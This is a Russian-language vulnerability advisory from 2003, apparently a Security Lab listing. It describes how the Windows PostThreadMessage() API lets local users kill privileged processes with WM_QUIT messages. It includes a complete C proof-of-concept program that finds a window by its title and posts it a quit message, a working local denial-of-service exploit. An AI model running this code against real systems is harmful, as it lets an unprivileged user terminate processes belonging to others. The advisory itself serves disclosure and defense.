Security Lab

Microsoft Windows OS PostThreadMessage() API позволяет локальным пользователям завершать работу некоторых процессов

Дата публикации:04.10.2003
Всего просмотров:4234
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: Microsoft Windows 2000 Advanced Server, Microsoft Windows 2000 Datacenter Server, Microsoft Windows 2000 Professional, Microsoft Windows 2000 Server, Microsoft Windows NT 4.0 Server, Microsoft Windows NT 4.0 Server, Terminal Server Edition, Microsoft Windows NT 4.0 Workstation, Microsoft Windows Server 2003 Datacenter Edition, Microsoft Windows Server 2003 Enterprise Edition, Microsoft Windows Server 2003 Standard Edition, Microsoft Windows Server 2003 Web Edition, Microsoft Windows XP Home Edition, Microsoft Windows XP Professional

Описание: Уязвимость обнаружена в Microsoft Windows в PostThreadMessage() API. Локальный пользователь может аварийно завершить работу некоторых привилегированных программ.

Локальный пользователь с любым уровнем привилегий может полсать WM_QUIT сообщение к произвольному процессу, который имеет очередь сообщений, чтобы завершить работу этого процесса.

В некоторых случаях пользователь может также послать WM_DESTROY или WM_CLOSE сообщения, чтобы завершить работу целевого процесса.

Уязвимость может использоваться для аварийного завершения работы процесса, который требует идентификации для завершения работы.

Пример/Эксплоит:

/************************************************************************
* Appshutdown.c
 
* Demonstrates the use of PostThreadMessage to;
* - shutdown any application with a message handler
 
* The window title can be specified in code or on the command line
 
* Works against any application/service process that
* has implemented a message handler
 
*************************************************************************/
#include <windows.h>
#include <commctrl.h>
#include <stdio.h>
char tWindow[]="Windows Task Manager";// The name of the main window
char* pWindow;
int main(int argc, char *argv[])
 
        long hWnd,proc;
        DWORD hThread;
        printf("%% AppShutdown - Playing with PostThreadMessage\n");
        printf("%% brett.moore@security-assessment.com\n\n");
        // Specify Window Title On Command Line
        if (argc ==2)
                pWindow = argv[1];
        else
                pWindow = tWindow;

        printf("+ Finding %s Window...\n",pWindow);
        hWnd = (long)FindWindow(NULL,pWindow);
        if(hWnd == NULL)
        {
          printf("+ Couldn't Find %s Window\n",pWindow);
          return 0;
        }
        printf("+ Found Main Window At...0x%xh\n",hWnd);
        printf("+ Finding Window Thread..");
        hThread = GetWindowThreadProcessId(hWnd,&proc);
        if(hThread  == NULL)
        {
          printf("Failed\n");
          return 0;
        }
        printf("0x%xh Process 0x%xh\n",hThread,proc);
        printf("+ Send Quit Message\n");
        PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0);
        printf("+ Done...\n");
        return 0;

URL производителя: http://www.microsoft.com/technet/security/

Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время. Ограничьте доступ к системе только доверенным пользователям.

Ссылки: Process Killing - Playing with PostThreadMessage